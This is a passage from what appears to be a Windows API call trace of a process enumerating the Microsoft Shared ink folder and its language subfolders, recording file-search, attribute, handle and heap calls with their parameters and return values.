nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0046.043] GetLastError () returned 0x12 [0046.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0046.043] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.043] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0046.044] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0046.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.056] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.057] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.057] NtClose (Handle=0x170) returned 0x0 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.057] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.057] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee04e8 [0046.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0b80 [0046.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.057] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.058] GetLastError () returned 0x12 [0046.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.058] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.058] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.058] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.058] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.058] GetLastError () returned 0x12 [0046.058] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.058] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.058] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.058] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.058] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0046.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.058] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.059] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.059] NtClose (Handle=0x174) returned 0x0 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.059] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.059] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0508 [0046.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0c88 [0046.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.059] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.059] GetLastError () returned 0x12 [0046.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.060] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.060] GetLastError () returned 0x12 [0046.060] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.060] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.060] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.060] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0046.060] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0046.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 